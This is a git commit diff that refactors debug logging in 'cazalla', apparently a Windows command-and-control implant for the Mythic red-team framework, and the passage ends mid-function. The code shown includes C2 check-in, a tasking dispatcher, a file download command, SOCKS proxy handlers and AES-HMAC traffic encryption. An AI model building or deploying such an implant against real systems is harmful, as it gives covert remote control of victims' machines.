Unified Debug

This commit is contained in:
marcos.luna
2025-10-29 17:19:07 +01:00
parent c1aa65380b
commit 8f7107fe1d
14 changed files with 501 additions and 615 deletions
@@ -5,7 +5,51 @@ CC = x86_64-w64-mingw32-gcc
CFLAGS = -Wall -w -IInclude
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -mwindows
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt
DFLAGS = -D_DEBUG -DDEBUG_SOCKS -g
# Debug parameters (can be overridden from command line)
# DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4
# DEBUG_OUTPUT: console=0, file=1
DEBUG_LEVEL ?= 0
DEBUG_OUTPUT ?= 0
# Convert DEBUG_LEVEL string to number if needed
ifeq ($(DEBUG_LEVEL),none)
DEBUG_LEVEL_NUM = 0
else ifeq ($(DEBUG_LEVEL),errors)
DEBUG_LEVEL_NUM = 1
else ifeq ($(DEBUG_LEVEL),warnings)
DEBUG_LEVEL_NUM = 2
else ifeq ($(DEBUG_LEVEL),info)
DEBUG_LEVEL_NUM = 3
else ifeq ($(DEBUG_LEVEL),all)
DEBUG_LEVEL_NUM = 4
else
# Assume it's already a number
DEBUG_LEVEL_NUM = $(DEBUG_LEVEL)
endif
# Convert DEBUG_OUTPUT string to number if needed
ifeq ($(DEBUG_OUTPUT),console)
DEBUG_OUTPUT_NUM = 0
else ifeq ($(DEBUG_OUTPUT),file)
DEBUG_OUTPUT_NUM = 1
else
# Assume it's already a number
DEBUG_OUTPUT_NUM = $(DEBUG_OUTPUT)
endif
# Debug flags based on level
DEBUG_FLAGS = -DDEBUG_SOCKS -g
ifeq ($(DEBUG_LEVEL_NUM),0)
# No debug
DEBUG_FLAGS =
else
# Debug enabled - add defines for debug level and output
# DEBUG_LEVEL: 0=NONE, 1=ERR, 2=WRN, 3=INF, 4=ALL
# DEBUG_OUTPUT: 0=CONSOLE, 1=FILE
DEBUG_FLAGS += -DDEBUG_LEVEL=$(DEBUG_LEVEL_NUM)
DEBUG_FLAGS += -DDEBUG_OUTPUT=$(DEBUG_OUTPUT_NUM)
endif
# Directories
SRC_FILES := *.c
@@ -28,19 +72,14 @@ $(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS_CONSOLE) $(DFLAGS)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS_CONSOLE) $(DEBUG_FLAGS)
# DLL Target
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS)
# Optional: file-logging debug build (writes to C:\\Temp\\Ra.log)
debug_log: $(BUILD_DIR)/cazalla-debug-log.exe
$(BUILD_DIR)/cazalla-debug-log.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE -D_DEBUG_RELEASE $(LFLAGS_CONSOLE) $(DFLAGS)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DEBUG_FLAGS)
# Clean up
clean:
@@ -3,22 +3,14 @@
#include "Config.h"
#include "socks_manager.h"
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[MAINDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
CONFIG_CAZALLA* cazallaConfig = NULL;
VOID cazallaMain() {
printf("[CAZALLA] Inicializando configuración de Cazalla\n");
fflush(stdout);
_inf("Inicializando configuración de Cazalla");
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
if (!cazallaConfig) {
_err("Error: fallo en LocalAlloc para cazallaConfig.\n");
_err("Error: fallo en LocalAlloc para cazallaConfig");
return;
}
@@ -35,26 +27,23 @@ VOID cazallaMain() {
cazallaConfig->encryptionEnabled = ENCRYPTION_ENABLED;
// Debug: print the raw values
printf("[CAZALLA] DEBUG: ENCRYPTION_ENABLED = %d\n", ENCRYPTION_ENABLED);
printf("[CAZALLA] DEBUG: AESPSK_KEY = %s\n", AESPSK_KEY);
printf("[CAZALLA] DEBUG: AESPSK_KEY length = %zu\n", strlen(AESPSK_KEY));
fflush(stdout);
_dbg("ENCRYPTION_ENABLED = %d", ENCRYPTION_ENABLED);
_dbg("AESPSK_KEY = %s", AESPSK_KEY);
_dbg("AESPSK_KEY length = %zu", strlen(AESPSK_KEY));
// Initialize AESPSK encryption if enabled
if (cazallaConfig->encryptionEnabled) {
printf("[CAZALLA] Inicializando cifrado AES256-HMAC...\n");
fflush(stdout);
_inf("Inicializando cifrado AES256-HMAC...");
if (crypto_init_aespsk(AESPSK_KEY)) {
printf("[CAZALLA] Cifrado habilitado\n");
_inf("Cifrado habilitado");
} else {
printf("[CAZALLA] ERROR: Falló la inicialización del cifrado\n");
_err("Falló la inicialización del cifrado");
cazallaConfig->encryptionEnabled = FALSE;
}
} else {
printf("[CAZALLA] Cifrado deshabilitado\n");
_inf("Cifrado deshabilitado");
}
fflush(stdout);
printf("[CAZALLA] Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u\n",
_dbg("Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u",
cazallaConfig->idAgente,
cazallaConfig->hostName,
cazallaConfig->puertoHttp,
@@ -63,32 +52,28 @@ VOID cazallaMain() {
cazallaConfig->endPoint,
cazallaConfig->userAgent,
cazallaConfig->tiempoSleep);
fflush(stdout);
printf("[CAZALLA] Iniciando primer checkin...\n");
fflush(stdout);
_inf("Iniciando primer checkin...");
PAnalizador respuestaAnalizador = checkin();
if (!respuestaAnalizador) {
printf("[CAZALLA] Error en el primer checkin, cerrando.\n");
fflush(stdout);
_err("Error en el primer checkin, cerrando");
return;
}
parseChecking(respuestaAnalizador);
printf("[CAZALLA] Entrando en bucle principal (rutina). Sleep inicial: %u ms\n", cazallaConfig->tiempoSleep);
fflush(stdout);
_inf("Entrando en bucle principal (rutina). Sleep inicial: %u ms", cazallaConfig->tiempoSleep);
while (TRUE) {
rutina();
/* Si SOCKS está activo, reducir sleep para mejorar latencia */
if (socks_proxy_active) {
DBG_PRINTF("SOCKS activo -> checkin rápido (100 ms)");
_dbg("SOCKS activo -> checkin rápido (100 ms)");
Sleep(100);
} else {
DBG_PRINTF("SOCKS inactivo -> durmiendo %u ms", cazallaConfig->tiempoSleep);
_dbg("SOCKS inactivo -> durmiendo %u ms", cazallaConfig->tiempoSleep);
Sleep(cazallaConfig->tiempoSleep);
}
}
@@ -96,5 +81,5 @@ VOID cazallaMain() {
VOID setUUID(PCHAR newUUID) {
cazallaConfig->idAgente = newUUID;
DBG_PRINTF("UUID actualizado: %s", newUUID);
_dbg("UUID actualizado: %s", newUUID);
}
@@ -5,11 +5,6 @@
#pragma comment(lib, "iphlpapi.lib")
#include <iphlpapi.h>
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[CHKDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
// === Obtener Direcciones IPs ===
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
@@ -126,8 +121,7 @@ static VOID procesarSocksEntrante(PAnalizador respuesta) { (void)respuesta; }
Check-in principal con soporte SOCKS
========================================================== */
PAnalizador checkin() {
printf("[CHECKIN] Iniciando checkin\n");
fflush(stdout);
_inf("Iniciando checkin");
UINT32 numeroDeIPs = 0;
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
@@ -155,20 +149,18 @@ PAnalizador checkin() {
// === When mythic_encrypts=True, agent sends plaintext ===
// The C2 profile (HTTP) handles encryption at HTTP layer
// No need for ECC key exchange in checkin
printf("[CHECKIN] Enviando paquete inicial (plaintext, C2 profile handles encryption)\n");
fflush(stdout);
_dbg("Enviando paquete inicial (plaintext, C2 profile handles encryption)");
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
liberarPaquete(checkin);
if (!respuestaAnalizador) {
printf("[CHECKIN] Error: respuestaAnalizador NULL. Cierre inminente.\n");
fflush(stdout);
_err("Error: respuestaAnalizador NULL. Cierre inminente");
return NULL;
}
DBG_PRINTF("checkin(): respuesta recibida, procesando tráfico SOCKS si existe");
_dbg("checkin(): respuesta recibida, procesando tráfico SOCKS si existe");
procesarSocksEntrante(respuestaAnalizador);
DBG_PRINTF("checkin(): completado");
_dbg("checkin(): completado");
return respuestaAnalizador;
}
@@ -3,39 +3,27 @@
#include "socks_manager.h"
#include "paquete.h"
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[CMDDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
/* Forward: handlers for the new commands */
static void startSocksHandler(PAnalizador analizadorTarea);
static void stopSocksHandler(PAnalizador analizadorTarea);
BOOL handleGetTasking(PAnalizador obtenerTarea) {
printf("[HANDLER] handleGetTasking() llamado\n");
fflush(stdout);
_dbg("handleGetTasking() llamado");
UINT32 numeroTareas = getInt32(obtenerTarea);
printf("[HANDLER] Número de tareas: %u\n", numeroTareas);
fflush(stdout);
_dbg("Número de tareas: %u", numeroTareas);
if (numeroTareas) {
DBG_PRINTF("[Tareas] hay %d tareas !\n", numeroTareas);
_dbg("Hay %d tareas", numeroTareas);
}
for (UINT32 i = 0; i < numeroTareas; i++) {
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
printf("[HANDLER] Procesando tarea %u/%u, tamaño: %zu\n", i+1, numeroTareas, tamanoTarea);
fflush(stdout);
_dbg("Procesando tarea %u/%u, tamaño: %zu", i+1, numeroTareas, tamanoTarea);
BYTE tarea = getByte(obtenerTarea);
printf("[HANDLER] Comando recibido: 0x%02X (%d)\n", tarea, tarea);
fflush(stdout);
DBG_PRINTF("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea);
_dbg("Comando recibido: 0x%02X (%d)", tarea, tarea);
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
@@ -65,13 +53,13 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
} else if (tarea == DOWNLOAD_CMD) {
DescargarFichero(analizadorTarea);
} else if (tarea == START_SOCKS_CMD) {
DBG_PRINTF("Received START_SOCKS_CMD");
_dbg("Received START_SOCKS_CMD");
startSocksHandler(analizadorTarea);
} else if (tarea == STOP_SOCKS_CMD) {
DBG_PRINTF("Received STOP_SOCKS_CMD");
_dbg("Received STOP_SOCKS_CMD");
stopSocksHandler(analizadorTarea);
} else {
DBG_PRINTF("[Tarea] Tarea desconocida: 0x%02x\n", tarea);
_wrn("Tarea desconocida: 0x%02x", tarea);
// liberar analizador si no será usado por otro handler
if (analizadorTarea) liberarAnalizador(analizadorTarea);
}
@@ -81,20 +69,14 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
}
BOOL commandDispatch(PAnalizador respuesta) {
printf("[DISPATCH] Respuesta tiene %zu bytes\n", respuesta->tamano);
fflush(stdout);
_dbg("Respuesta tiene %zu bytes", respuesta->tamano);
// Debug: imprimir primeros bytes
if (respuesta->tamano > 0) {
printf("[DISPATCH] Primeros 8 bytes: ");
fflush(stdout);
_dbg("Primeros 8 bytes: ");
for (SIZE_T i = 0; i < (respuesta->tamano > 8 ? 8 : respuesta->tamano); i++) {
printf("0x%02X ", respuesta->original[i]);
fflush(stdout);
_dbg(" 0x%02X ", respuesta->original[i]);
}
printf("\n");
fflush(stdout);
}
// === IMPORTANTE: Cuando mythic_encrypts=True, Mythic agrega el UUID del callback al inicio ===
@@ -102,32 +84,26 @@ BOOL commandDispatch(PAnalizador respuesta) {
// Necesitamos leer y verificar el UUID primero
SIZE_T uuidLen = 36;
PCHAR callback_uuid = getString(respuesta, &uuidLen);
printf("[DISPATCH] UUID del callback: %.*s\n", (int)uuidLen, callback_uuid);
fflush(stdout);
_dbg("UUID del callback: %.*s", (int)uuidLen, callback_uuid);
// Verificar que el UUID sea correcto (opcional, para debug)
if (uuidLen != 36) {
printf("[DISPATCH] WARNING: UUID length is not 36 bytes (%zu)\n", uuidLen);
fflush(stdout);
_wrn("UUID length is not 36 bytes (%zu)", uuidLen);
}
BYTE tipoRespuesta = getByte(respuesta);
printf("[DISPATCH] Tipo de respuesta: 0x%02X\n", tipoRespuesta);
fflush(stdout);
_dbg("Tipo de respuesta: 0x%02X", tipoRespuesta);
if (tipoRespuesta == GET_TASKING) {
printf("[DISPATCH] Llamando handleGetTasking()\n");
fflush(stdout);
_dbg("Llamando handleGetTasking()");
return handleGetTasking(respuesta);
}
else if (tipoRespuesta == POST_RESPONSE) {
printf("[DISPATCH] Respuesta POST_RESPONSE\n");
fflush(stdout);
_dbg("Respuesta POST_RESPONSE");
return TRUE;
}
printf("[DISPATCH] Tipo desconocido\n");
fflush(stdout);
_wrn("Tipo desconocido");
return TRUE;
}
@@ -138,14 +114,12 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) {
// Primero leemos el UUID que Mythic agrega
SIZE_T tamanoUuid = 36;
PCHAR callback_uuid = getString(respuestaAnalizador, &tamanoUuid);
printf("[CHECKIN] UUID del callback recibido: %.*s\n", (int)tamanoUuid, callback_uuid);
fflush(stdout);
_dbg("UUID del callback recibido: %.*s", (int)tamanoUuid, callback_uuid);
// Luego leemos el tipo de mensaje
BYTE tipoMensaje = getByte(respuestaAnalizador);
if (tipoMensaje != CHECKIN) {
printf("[CHECKIN] ERROR: Expected CHECKIN (0x%02X) but got 0x%02X\n", CHECKIN, tipoMensaje);
fflush(stdout);
_err("Expected CHECKIN (0x%02X) but got 0x%02X", CHECKIN, tipoMensaje);
liberarAnalizador(respuestaAnalizador);
return FALSE;
}
@@ -155,7 +129,7 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) {
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
setUUID(nuevoUuid);
DBG_PRINTF("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
_dbg("Tenemos nuevo UUID ! --> %s", nuevoUuid);
// === Nota: Cifrado AESPSK ya inicializado en cazallaMain() ===
// La clave AES se inyecta en tiempo de compilación, no se deriva en runtime
@@ -168,8 +142,7 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) {
BOOL rutina() {
printf("[RUTINA] Enviando GET_TASKING...\n");
fflush(stdout);
_dbg("Enviando GET_TASKING...");
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
addInt32(obtenerTarea, NUMBER_OF_TASKS);
@@ -177,13 +150,11 @@ BOOL rutina() {
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
// sin respuesta
if (!respuestaAnalizador) {
printf("[RUTINA] ERROR: No se recibió respuesta\n");
fflush(stdout);
_err("No se recibió respuesta");
return FALSE;
}
printf("[RUTINA] Respuesta recibida, dispatch...\n");
fflush(stdout);
_dbg("Respuesta recibida, dispatch...");
commandDispatch(respuestaAnalizador);
@@ -206,7 +177,7 @@ BOOL rutina() {
- send response back to Mythic
============================ */
static void startSocksHandler(PAnalizador analizadorTarea) {
DBG_PRINTF("startSocksHandler() enter");
_dbg("startSocksHandler() enter");
// Leer el UUID del task (primeros 36 bytes)
SIZE_T uuidLen = 36;
@@ -214,7 +185,7 @@ static void startSocksHandler(PAnalizador analizadorTarea) {
// Leer el puerto
UINT32 localPort = (UINT32)getInt32(analizadorTarea);
DBG_PRINTF("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort);
_dbg("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort);
if (localPort == 0) localPort = 1080;
@@ -230,10 +201,10 @@ static void startSocksHandler(PAnalizador analizadorTarea) {
// Crear paquete temporal para el output
PPaquete salida = nuevoPaquete(0, FALSE);
if (rc == 0) {
DBG_PRINTF("socks_manager_start_proxy(%u) OK", localPort);
_dbg("socks_manager_start_proxy(%u) OK", localPort);
PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy started on port %u\n", localPort);
} else {
DBG_PRINTF("socks_manager_start_proxy(%u) rc=%d", localPort, rc);
_err("socks_manager_start_proxy(%u) rc=%d", localPort, rc);
PackageAddFormatPrintf(salida, FALSE, "Failed to start SOCKS proxy on port %u (rc=%d)\n", localPort, rc);
}
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
@@ -256,18 +227,18 @@ static void startSocksHandler(PAnalizador analizadorTarea) {
- send response back to Mythic
============================ */
static void stopSocksHandler(PAnalizador analizadorTarea) {
DBG_PRINTF("stopSocksHandler() enter");
_dbg("stopSocksHandler() enter");
// Leer el UUID del task (primeros 36 bytes)
SIZE_T uuidLen = 36;
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
DBG_PRINTF("stopSocksHandler: taskId=%.*s", 36, taskUuid);
_dbg("stopSocksHandler: taskId=%.*s", 36, taskUuid);
int rc = socks_manager_stop_proxy();
DBG_PRINTF("socks_manager_stop_proxy() rc=%d", rc);
_dbg("socks_manager_stop_proxy() rc=%d", rc);
socks_manager_cleanup();
DBG_PRINTF("socks_manager_cleanup() done");
_dbg("socks_manager_cleanup() done");
// Crear respuesta para Mythic
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
@@ -59,7 +59,7 @@ void crypto_cleanup(void) {
// Initialize AESPSK key from base64 string (Mythic format)
BOOL crypto_init_aespsk(const char *aespsk_key_b64) {
if (!aespsk_key_b64 || strlen(aespsk_key_b64) == 0) {
printf("[CRYPTO] No AESPSK key provided\n");
_err("No AESPSK key provided");
g_encryptionEnabled = 0;
return FALSE;
}
@@ -69,12 +69,12 @@ BOOL crypto_init_aespsk(const char *aespsk_key_b64) {
SIZE_T decoded_len = 0;
if (!base64_decode(aespsk_key_b64, &decoded, &decoded_len)) {
printf("[CRYPTO] Failed to decode AESPSK key\n");
_err("Failed to decode AESPSK key");
return FALSE;
}
if (decoded_len != AES_KEY_SIZE) {
printf("[CRYPTO] AESPSK key length is %zu, expected %d\n", decoded_len, AES_KEY_SIZE);
_err("AESPSK key length is %zu, expected %d", decoded_len, AES_KEY_SIZE);
if (decoded) LocalFree(decoded);
return FALSE;
}
@@ -85,7 +85,7 @@ BOOL crypto_init_aespsk(const char *aespsk_key_b64) {
if (decoded) LocalFree(decoded);
printf("[CRYPTO] AESPSK key initialized successfully (encryption enabled)\n");
_inf("AESPSK key initialized successfully (encryption enabled)");
return TRUE;
}
@@ -98,33 +98,32 @@ BOOL crypto_is_encryption_enabled(void) {
// Format: [IV(16)][Ciphertext with PKCS7][HMAC(32)]
BOOL CryptoMythicEncryptPackage(void* package) {
PPaquete pkg = (PPaquete)package;
printf("[CRYPTO] === CryptoMythicEncryptPackage START ===\n");
_inf("=== CryptoMythicEncryptPackage START ===");
if (!pkg || !pkg->buffer || pkg->length == 0) {
printf("[CRYPTO] ERROR: Invalid package (pkg=%p, buffer=%p, length=%zu)\n",
pkg, pkg ? pkg->buffer : NULL, pkg ? pkg->length : 0);
_err("Invalid package (pkg=%p, buffer=%p, length=%zu)",
pkg, pkg ? pkg->buffer : NULL, pkg ? pkg->length : 0);
return FALSE;
}
printf("[CRYPTO] Input package: length=%zu bytes\n", pkg->length);
_dbg("Input package: length=%zu bytes", pkg->length);
if (!g_aesKeySet) {
printf("[CRYPTO] ERROR: AES key not set\n");
_err("AES key not set");
return FALSE;
}
printf("[CRYPTO] AES key is set (key length: %d bytes)\n", AES_KEY_SIZE);
_dbg("AES key is set (key length: %d bytes)", AES_KEY_SIZE);
// Generate random IV
BYTE iv[IVSIZE];
printf("[CRYPTO] Generating random IV (%d bytes)...\n", IVSIZE);
_dbg("Generating random IV (%d bytes)...", IVSIZE);
for (int i = 0; i < IVSIZE; i++) {
iv[i] = (BYTE)(rand() % 0xFF);
}
printf("[CRYPTO] IV generated (hex): ");
_dbg("IV generated (hex): ");
for (int i = 0; i < IVSIZE; i++) {
printf("%02x ", iv[i]);
_dbg(" %02x ", iv[i]);
}
printf("\n");
// Calculate padding needed
SIZE_T datalen = pkg->length;
@@ -132,139 +131,134 @@ BOOL CryptoMythicEncryptPackage(void* package) {
if (padding_needed == 0) {
padding_needed = AES_BLOCKLEN;
}
printf("[CRYPTO] Data length: %zu bytes\n", datalen);
printf("[CRYPTO] Padding needed: %zu bytes (block size: %d)\n", padding_needed, AES_BLOCKLEN);
_dbg("Data length: %zu bytes", datalen);
_dbg("Padding needed: %zu bytes (block size: %d)", padding_needed, AES_BLOCKLEN);
// Add padding
printf("[CRYPTO] Adding PKCS7 padding...\n");
_dbg("Adding PKCS7 padding...");
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + padding_needed, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!pkg->buffer) {
printf("[CRYPTO] ERROR: Failed to add padding\n");
_err("Failed to add padding");
return FALSE;
}
memset((PBYTE)pkg->buffer + pkg->length, (BYTE)padding_needed, padding_needed);
SIZE_T padded_len = pkg->length + padding_needed;
pkg->length = padded_len;
printf("[CRYPTO] After padding: %zu bytes\n", padded_len);
_dbg("After padding: %zu bytes", padded_len);
// Encrypt with AES-256-CBC
printf("[CRYPTO] Initializing AES context with IV...\n");
_dbg("Initializing AES context with IV...");
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, g_aesKey, iv);
printf("[CRYPTO] Encrypting with AES-256-CBC...\n");
_inf("Encrypting with AES-256-CBC...");
AES_CBC_encrypt_buffer(&ctx, (uint8_t*)pkg->buffer, padded_len);
printf("[CRYPTO] Encryption complete, ciphertext: %zu bytes\n", padded_len);
_dbg("Encryption complete, ciphertext: %zu bytes", padded_len);
// Prepend IV before the encrypted data
printf("[CRYPTO] Prepending IV (%d bytes) before ciphertext...\n", IVSIZE);
_dbg("Prepending IV (%d bytes) before ciphertext...", IVSIZE);
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + IVSIZE, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!pkg->buffer) {
printf("[CRYPTO] ERROR: Failed to prepend IV\n");
_err("Failed to prepend IV");
return FALSE;
}
memmove((PBYTE)pkg->buffer + IVSIZE, pkg->buffer, pkg->length);
memcpy(pkg->buffer, iv, IVSIZE);
pkg->length += IVSIZE;
printf("[CRYPTO] After prepending IV: %zu bytes (IV: %d + ciphertext: %zu)\n",
pkg->length, IVSIZE, padded_len);
_dbg("After prepending IV: %zu bytes (IV: %d + ciphertext: %zu)",
pkg->length, IVSIZE, padded_len);
// Calculate HMAC (IV + Ciphertext)
printf("[CRYPTO] Calculating HMAC-SHA256 over IV + Ciphertext...\n");
_inf("Calculating HMAC-SHA256 over IV + Ciphertext...");
PBYTE hmac = (PBYTE)malloc(SHA256_HASH_SIZE);
SIZE_T hmac_size = SHA256_HASH_SIZE;
printf("[CRYPTO] HMAC input length: %zu bytes (for HMAC calculation)\n", pkg->length);
_dbg("HMAC input length: %zu bytes (for HMAC calculation)", pkg->length);
hmac_sha256(
g_aesKey, AES_KEY_SIZE,
pkg->buffer, pkg->length,
hmac, hmac_size
);
printf("[CRYPTO] HMAC calculated (hex): ");
_dbg("HMAC calculated (hex): ");
for (size_t i = 0; i < hmac_size; i++) {
printf("%02x ", hmac[i]);
_dbg(" %02x ", hmac[i]);
}
printf("\n");
// Append HMAC
printf("[CRYPTO] Appending HMAC (%zu bytes)...\n", SHA256_HASH_SIZE);
_dbg("Appending HMAC (%zu bytes)...", SHA256_HASH_SIZE);
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + SHA256_HASH_SIZE, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!pkg->buffer) {
free(hmac);
printf("[CRYPTO] ERROR: Failed to append HMAC\n");
_err("Failed to append HMAC");
return FALSE;
}
memcpy((PBYTE)pkg->buffer + pkg->length, hmac, SHA256_HASH_SIZE);
pkg->length += SHA256_HASH_SIZE;
free(hmac);
printf("[CRYPTO] === ENCRYPTION COMPLETE ===\n");
printf("[CRYPTO] Final encrypted package: %zu bytes\n", pkg->length);
printf("[CRYPTO] Format: [IV(16)][Ciphertext(%zu)][HMAC(32)]\n", padded_len);
fflush(stdout);
_inf("=== ENCRYPTION COMPLETE ===");
_dbg("Final encrypted package: %zu bytes", pkg->length);
_dbg("Format: [IV(16)][Ciphertext(%zu)][HMAC(32)]", padded_len);
return TRUE;
}
// AES decrypt parser for Mythic (based on Xenon implementation)
BOOL CryptoMythicDecryptParser(void* analizador) {
PAnalizador parser = (PAnalizador)analizador;
printf("[CRYPTO] === CryptoMythicDecryptParser START ===\n");
_inf("=== CryptoMythicDecryptParser START ===");
if (!parser || !parser->buffer || parser->tamano < (IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE)) {
printf("[CRYPTO] ERROR: Invalid parser (parser=%p, buffer=%p, size=%zu)\n",
parser, parser ? parser->buffer : NULL, parser ? parser->tamano : 0);
printf("[CRYPTO] Minimum required: %d bytes\n", IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE);
_err("Invalid parser (parser=%p, buffer=%p, size=%zu)",
parser, parser ? parser->buffer : NULL, parser ? parser->tamano : 0);
_err("Minimum required: %d bytes", IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE);
return FALSE;
}
printf("[CRYPTO] Input parser: size=%zu bytes\n", parser->tamano);
_dbg("Input parser: size=%zu bytes", parser->tamano);
// Log first bytes of encrypted data
printf("[CRYPTO] Encrypted data preview (hex, first 64 bytes): ");
_dbg("Encrypted data preview (hex, first 64 bytes): ");
for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) {
printf("%02x ", parser->buffer[i]);
if ((i + 1) % 32 == 0) printf("\n[CRYPTO] ");
_dbg(" %02x ", parser->buffer[i]);
if ((i + 1) % 32 == 0) _dbg("\n");
}
printf("\n");
if (!g_aesKeySet) {
printf("[CRYPTO] ERROR: AES key not set\n");
_err("AES key not set");
return FALSE;
}
printf("[CRYPTO] AES key is set\n");
_dbg("AES key is set");
// Extract HMAC from end
PBYTE hmac_provided = parser->buffer + parser->tamano - SHA256_HASH_SIZE;
SIZE_T encrypted_data_length = parser->tamano - IVSIZE - SHA256_HASH_SIZE;
printf("[CRYPTO] === EXTRACTING COMPONENTS ===\n");
printf("[CRYPTO] Total size: %zu bytes\n", parser->tamano);
printf("[CRYPTO] HMAC offset: %zu bytes from start\n", parser->tamano - SHA256_HASH_SIZE);
printf("[CRYPTO] Encrypted data length (without IV and HMAC): %zu bytes\n", encrypted_data_length);
printf("[CRYPTO] Expected format: [IV(16)][Ciphertext(%zu)][HMAC(32)]\n", encrypted_data_length);
_dbg("=== EXTRACTING COMPONENTS ===");
_dbg("Total size: %zu bytes", parser->tamano);
_dbg("HMAC offset: %zu bytes from start", parser->tamano - SHA256_HASH_SIZE);
_dbg("Encrypted data length (without IV and HMAC): %zu bytes", encrypted_data_length);
_dbg("Expected format: [IV(16)][Ciphertext(%zu)][HMAC(32)]", encrypted_data_length);
// Extract and log IV
BYTE *iv = parser->buffer;
printf("[CRYPTO] IV (first 16 bytes, hex): ");
_dbg("IV (first 16 bytes, hex): ");
for (int i = 0; i < IVSIZE; i++) {
printf("%02x ", iv[i]);
_dbg(" %02x ", iv[i]);
}
printf("\n");
// Log HMAC provided
printf("[CRYPTO] HMAC provided (last 32 bytes, hex): ");
_dbg("HMAC provided (last 32 bytes, hex): ");
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
printf("%02x ", hmac_provided[i]);
_dbg(" %02x ", hmac_provided[i]);
}
printf("\n");
// Verify HMAC
printf("[CRYPTO] === VERIFYING HMAC ===\n");
printf("[CRYPTO] Calculating HMAC over %zu bytes (IV + Ciphertext)\n", IVSIZE + encrypted_data_length);
_inf("=== VERIFYING HMAC ===");
_dbg("Calculating HMAC over %zu bytes (IV + Ciphertext)", IVSIZE + encrypted_data_length);
PBYTE hmac_calculated = (PBYTE)malloc(SHA256_HASH_SIZE);
if (!hmac_calculated) {
printf("[CRYPTO] ERROR: Failed to allocate HMAC buffer\n");
_err("Failed to allocate HMAC buffer");
return FALSE;
}
@@ -274,102 +268,96 @@ BOOL CryptoMythicDecryptParser(void* analizador) {
hmac_calculated, SHA256_HASH_SIZE
);
printf("[CRYPTO] HMAC calculated (hex): ");
_dbg("HMAC calculated (hex): ");
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
printf("%02x ", hmac_calculated[i]);
_dbg(" %02x ", hmac_calculated[i]);
}
printf("\n");
if (memcmp(hmac_calculated, hmac_provided, SHA256_HASH_SIZE) != 0) {
printf("[CRYPTO] === HMAC VERIFICATION FAILED ===\n");
printf("[CRYPTO] Provided HMAC: ");
_err("=== HMAC VERIFICATION FAILED ===");
_err("Provided HMAC: ");
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
printf("%02x ", hmac_provided[i]);
_err(" %02x ", hmac_provided[i]);
}
printf("\n[CRYPTO] Calculated HMAC: ");
_err("Calculated HMAC: ");
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
printf("%02x ", hmac_calculated[i]);
_err(" %02x ", hmac_calculated[i]);
}
